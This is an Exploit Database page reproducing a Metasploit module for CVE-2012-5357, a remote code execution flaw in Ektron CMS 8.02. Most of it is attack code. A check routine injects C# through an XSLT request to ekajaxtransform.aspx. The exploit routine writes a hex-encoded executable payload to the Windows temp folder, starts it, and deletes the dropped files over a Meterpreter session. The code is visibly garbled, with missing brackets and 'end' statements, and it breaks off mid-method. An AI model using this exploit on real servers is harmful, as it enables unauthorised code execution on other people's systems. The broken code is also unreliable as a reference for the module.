Ektron 8.02 – XSLT Transform Remote Code Execution (Metasploit)

Exploit Database
104 阅读

作者： Metasploit

日期： 2012-12-05
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/23155/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

require 'msf/core/exploit/file_dropper'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'Ektron 8.02 XSLT Transform Remote Code Execution',

'Description'=> %q{

This module exploits a vulnerability in Ektron CMS 8.02 (before SP5). The

vulnerability exists due to the insecure usage of XslCompiledTransform, using a

XSLT controlled by the user. The module has been tested successfully on Ektron CMS

8.02 over Windows 2003 SP2, which allows to execute arbitrary code with NETWORK

SERVICE privileges.

'Author' => [

'Unknown', # Vulnerability discovery, maybe Richard Lundeen from http://webstersprodigy.net/ ?

'juan vazquez' # Metasploit module

'License'=> MSF_LICENSE,

'References' =>

[

[ 'CVE', '2012-5357'],

[ 'URL', 'http://webstersprodigy.net/2012/10/25/cve-2012-5357cve-1012-5358-cool-ektron-xslt-rce-bugs/' ],

[ 'URL', 'http://technet.microsoft.com/en-us/security/msvr/msvr12-016' ]

'Payload'=>

{

'Space' => 2048,

'StackAdjustment' => -3500

'Platform' => 'win',

'Privileged' => true,

'Targets'=>

[

['Windows 2003 SP2 / Ektron CMS400 8.02', { }],

'DefaultTarget'=> 0,

'DisclosureDate' => 'Oct 16 2012'

))

register_options(

[

OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),

OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/'])

], self.class )

end

def check

fingerprint = rand_text_alpha(5 + rand(5))

xslt_data = <<-XSLT

<?xml version='1.0'?>

<xsl:stylesheet version="1.0"

xmlns:xsl="http://www.w3.org/1999/XSL/Transform"

xmlns:msxsl="urn:schemas-microsoft-com:xslt"

xmlns:user="http://mycompany.com/mynamespace">

<msxsl:script language="C#" implements-prefix="user">

<![CDATA[

public string xml()

{

return "#{fingerprint}";

}

]]>

</msxsl:script>

<xsl:template match="/">

<xsl:value-of select="user:xml()"/>

</xsl:template>

</xsl:stylesheet>

XSLT

res = send_request_cgi(

{

'uri' => "#{uri_path}WorkArea/ContentDesigner/ekajaxtransform.aspx",

'version' => '1.1',

'method'=> 'POST',

'ctype' => "application/x-www-form-urlencoded; charset=UTF-8",

'headers' => {

"Referer" => build_referer

'vars_post'=> {

"xml" => rand_text_alpha(5 + rand(5)),

"xslt" => xslt_data

}

})

if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def on_new_session(session)

if session.type == "meterpreter"

session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")

end

@dropped_files.delete_if do |file|

win_file = file.gsub("/", "\\\\")

if session.type == "meterpreter"

begin

windir = session.fs.file.expand_path("%WINDIR%")

win_file = "#{windir}\\Temp\\#{win_file}"

# Meterpreter should do this automatically as part of

# fs.file.rm().Until that has been implemented, remove the

# read-only flag with a command.

session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)

session.fs.file.rm(win_file)

print_good("Deleted #{file}")

true

rescue ::Rex::Post::Meterpreter::RequestError

print_error("Failed to delete #{win_file}")

false

end

def uri_path

uri_path = target_uri.path

uri_path << "/" if uri_path[-1, 1] != "/"

uri_path

end

def build_referer

if datastore['SSL']

schema = "https://"

else

schema = "http://"

end

referer = schema

referer << rhost

referer << ":#{rport}"

referer << uri_path

referer

end

def exploit

print_status("Generating the EXE Payload and the XSLT...")

exe_data = generate_payload_exe

exe_string = Rex::Text.to_hex(exe_data)

exename = rand_text_alpha(5 + rand(5))

fingerprint = rand_text_alpha(5 + rand(5))

xslt_data = <<-XSLT

<?xml version='1.0'?>

<xsl:stylesheet version="1.0"

xmlns:xsl="http://www.w3.org/1999/XSL/Transform"

xmlns:msxsl="urn:schemas-microsoft-com:xslt"

xmlns:user="http://mycompany.com/mynamespace">

<msxsl:script language="C#" implements-prefix="user">

<![CDATA[

public string xml()

{

char[] charData = "#{exe_string}".ToCharArray();

string fileName = @"C:\\windows\\temp\\#{exename}.txt";

System.IO.FileStream fs = new System.IO.FileStream(fileName, System.IO.FileMode.Create);

System.IO.BinaryWriter bw = new System.IO.BinaryWriter(fs);

for (int i = 0; i < charData.Length; i++)

{

bw.Write( (byte) charData[i]);

}

bw.Close();

fs.Close();

System.Diagnostics.Process p = new System.Diagnostics.Process();

p.StartInfo.UseShellExecute = false;

p.StartInfo.RedirectStandardOutput = true;

p.StartInfo.FileName = @"C:\\windows\\temp\\#{exename}.txt";

p.Start();